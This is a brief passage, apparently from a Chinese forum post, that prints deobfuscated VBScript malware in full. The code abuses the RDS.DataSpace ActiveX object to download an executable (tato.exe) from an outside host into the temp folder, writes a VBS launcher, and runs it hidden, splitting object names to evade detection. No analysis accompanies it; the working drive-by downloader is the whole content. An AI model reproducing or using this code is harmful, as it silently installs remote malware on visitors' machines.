还原后的代码为
- on error resume next
- curl="http://chinare.drivehq.com/tato.exe"
- fname1="tato.exe"
- fname2="tato.vbs"
- Set df = document.createElement("object")
- df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
- str="Microsoft.XMLHTTP"
- Set x = df.CreateObject(str,"")
- C1="Ado"
- C2="db."
- C3="str"
- C4="eam"
- str1=C1&C2&C3&C4
- str5=str1
- set S = df.createobject(str5,"")
- S.type = 1
- str6="GET"
- x.Open str6, curl, False
- x.Send
- s1="Script"
- s2="ing."
- s3="File"
- s4="SystemObject"
- s0=s1+s2+s3+s4
- set F = df.createobject(s0,"")
- set tmp = F.GetSpecialFolder(2)
- fname1= F.BuildPath(tmp,fname1)
- S.open
- S.write x.responseBody
- S.savetofile fname1,2
- S.close
- fname2= F.BuildPath(tmp,fname2)
- Set ts = F.OpenTextFile(fname2, 2, True)
- ts.WriteLine "Set Shell = CreateObject(""Wscript.Shell"")"
- sql="Shell.Run("""+fname1+""")"
- ts.WriteLine sql
- ts.WriteLine "set Shell=Nothing"
- ts.close
- if F.FileExists(fname1)=true then
- if F.FileExists(fname2)=true then
- sha="Shell.App"
- shb=sha
- set Q = df.createobject(shb+"lication","")
- Q.ShellExecute fname2,"","","open",0
- end if
- end if
复制代码 |